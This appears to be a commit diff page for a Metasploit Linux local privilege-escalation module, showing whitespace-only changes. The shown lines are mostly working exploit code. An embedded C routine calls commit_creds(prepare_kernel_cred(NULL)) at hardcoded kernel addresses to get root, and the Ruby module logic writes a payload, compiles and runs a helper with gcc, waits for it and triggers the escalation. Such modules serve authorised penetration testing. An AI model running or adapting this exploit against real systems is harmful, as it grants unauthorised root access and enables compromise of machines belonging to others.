@@ -279,7 +279,7 @@ def exploit
279
279
void __attribute__((regparm(3))) privesc() {
280
280
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
281
281
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
282
- commit_creds(prepare_kernel_cred((uint64_t)NULL));
282
+ commit_creds(prepare_kernel_cred((uint64_t)NULL));
283
283
}
284
284
285
285
int main() {
@@ -318,7 +318,7 @@ def exploit
318
318
if check != CheckCode ::Appears
319
319
fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
320
320
end
321
-
321
+
322
322
def pwn ( payload_path , pwn_file , pwn )
323
323
# lets write our payload since everythings set for priv esc
324
324
vprint_status ( "Writing payload to #{ payload_path } " )
@@ -347,7 +347,7 @@ def pwn(payload_path, pwn_file, pwn)
347
347
rm_f desc_file
348
348
write_file ( "#{ desc_file } .c" , decr )
349
349
output = cmd_exec ( "gcc #{ desc_file } .c -m32 -O2 -o #{ desc_file } " )
350
-
350
+
351
351
register_file_for_cleanup ( env_ready_file )
352
352
register_file_for_cleanup ( "#{ desc_file } .c" )
353
353
register_file_for_cleanup ( desc_file )
@@ -362,13 +362,13 @@ def pwn(payload_path, pwn_file, pwn)
362
362
end
363
363
cmd_exec ( "chmod +x #{ desc_file } ; #{ desc_file } " )
364
364
sec_waited = 0
365
-
365
+
366
366
until sec_waited > datastore [ 'MAXWAIT' ] do
367
367
Rex . sleep ( 1 )
368
368
if sec_waited % 10 == 0
369
369
vprint_status ( "Waited #{ sec_waited } s so far" )
370
370
end
371
-
371
+
372
372
if file_exist? ( env_ready_file )
373
373
print_good ( "desc finished, env ready." )
374
374
pwn ( payload_path , pwn_file , pwn )
0 commit comments